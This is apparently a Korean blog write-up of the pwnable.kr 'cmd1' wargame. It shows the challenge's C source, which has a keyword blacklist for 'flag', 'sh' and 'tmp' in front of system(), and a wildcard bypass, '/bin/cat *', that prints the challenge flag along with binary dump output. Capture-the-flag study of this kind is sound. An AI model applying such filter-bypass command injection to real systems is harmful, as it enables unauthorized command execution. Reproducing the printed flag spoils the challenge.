#include <stdio.h>
#include <string.h>
int filter(char* cmd){
int r=0;
r += strstr(cmd, "flag")!=0;
r += strstr(cmd, "sh")!=0;
r += strstr(cmd, "tmp")!=0;
return r;
}
int main(int argc, char* argv[], char** envp){
putenv("PATH=/thankyouverymuch");
if(filter(argv[1])) return 0;
system( argv[1] );
return 0;
}
소스를 보면 꽤 간단하다.
메인을 보면 putenv로 PATH를 /thankyouverymuch로 초기화해버린다.
그리고 filter함수를 보면 argv[1]로 넣은 값에 flag,sh,tmp문자열이 들어있는지 검사하고 들어있다면 r의 값을 증가 시켜
if문을 참으로 만들어 프로그램을 종료시킨다.
이 문제를 푸는 방법은 *(와일드 카드)만 알고 있으면 쉽다.
* <- 와일드 카드는 메타 문자중 하나로 특정 문자 패턴과 일치하는 파일이름을 선택할수 있는 기능임.
PATH를 초기화 해서 그냥 cat을 실행하면 실행이 안될거임.
절대경로로 실행해보자
cmd1@pwnable:~$ ./cmd1 "/bin/cat *"
ELF>�@@X@8 @@@@@@�88@8@@@ ((`( PP`P`�TT@T@DDP�td��@�@44Q�tR�td((`(`��/lib64/ld-linux-x86-64.so.2GNUGNU�{#'�(�/B�-��xl�
n(/! __gmon_start__libc.so.6strstrputenvsystem__libc_start_mainGLIBC_2.2.5ui A�````H���"�H���5�
�%�
@�%�
h������%�
h������%z
h������%r
h����1�I��^H��H���PTI��@H��p@H��@�����H�H��
H��t��H�������������UH��SH��=
uK�@`H�
H��8`H��H��H9�s$fDH��H��
��8`H��
H9�r���
H�[]�fff.�H�= UH��t�H��]�H`��]Ð�UH��H�� H�}��E�H�E�\@H�������H������E�H�E�a@H�������H������E�H�E�d@H������H������E�E���UH��H�� �}�H�u�H�U�h@��k���H�E�H�H�H���\�����t��H�E�H�H�H�Ǹ������Ð�������������H�l$�L�d$�H�-� L�%� L�l$�L�t$�L�|$�H�\$�H��8L)�A��I��H��I������H��t1�@L��L��D��A��H��H9�u�H�\H�l$L�d$L�l$ L�t$(L�|$0H��8���Ð�������������UH��SH�H H���t�(`DH���H�H���u�H�[]Ð�H�����H��flagshtmpPATH=/fuckyouverymuch;4����P���x���������������zR�$����PFJ
j �?;*3$"D����oA�C
Z����_A�C
$�0����Q��_@�������������������������
H@���o�@H@�@ @@
M
�``�@�@���o�@���o���o�@P`v@�@�@�@GCC: (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3.symtab.strtab.shstrtab.interp.note.ABI-tag.note.gnu.build-id.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rela.dyn.rela.plt.init.text.fini.rodata.eh_frame_hdr.eh_frame.ctors.dtors.jcr.dynamic.got.got.plt.data.bss.comment8@8#T@T 1t@t$D���o�@N
�@�VH@HM^���o�@�
k���o�@�z�@��@�`
�@@@�`@`P��@���H@H�X@X&��@�4��@��(`�8`�H�P`P���`� `0`�00*Z��H. !8@T@t@�@�@H@��@ �@
�@
@@
@����$`�P`�$`��`P`�`�` `0`
@_� �0`�� `� �(`�X@�
call_gmon_startcrtstuff.c__CTOR_LIST____DTOR_LIST____JCR_LIST____do_global_dtors_auxcompleted.6531dtor_idx.6533frame_dummy__CTOR_END____FRAME_END____JCR_END____do_global_ctors_auxcmd1.c__init_array_end_DYNAMIC__init_array_start_GLOBAL_OFFSET_TABLE___libc_csu_finidata_start_edata_finisystem@@GLIBC_2.2.5filter__DTOR_END____libc_start_main@@GLIBC_2.2.5putenv@@GLIBC_2.2.5__data_start__gmon_start____dso_handle_IO_stdin_used__libc_csu_init_end_start__bss_startmain_Jv_RegisterClasses_initstrstr@@GLIBC_2.2.5#include <stdio.h>
#include <string.h>
int filter(char* cmd){
int r=0;
r += strstr(cmd, "flag")!=0;
r += strstr(cmd, "sh")!=0;
r += strstr(cmd, "tmp")!=0;
return r;
}
int main(int argc, char* argv[], char** envp){
putenv("PATH=/thankyouverymuch");
if(filter(argv[1])) return 0;
system( argv[1] );
return 0;
}
mommy now I get what PATH environment is for :)
cmd1@pwnable:~$
폴더 내 모든 파일을 출력하도록 /bin/cat *을 인자로 주면 플래그가 출력됨
flag: mommy now I get what PATH environment is for :)
'워게임 > pwnable.kr' 카테고리의 다른 글
coin1 (0) | 2022.02.24 |
---|---|
cmd2 (0) | 2022.02.24 |
lotto (0) | 2022.02.23 |
blackjack (0) | 2022.02.23 |
shellshock (0) | 2022.02.22 |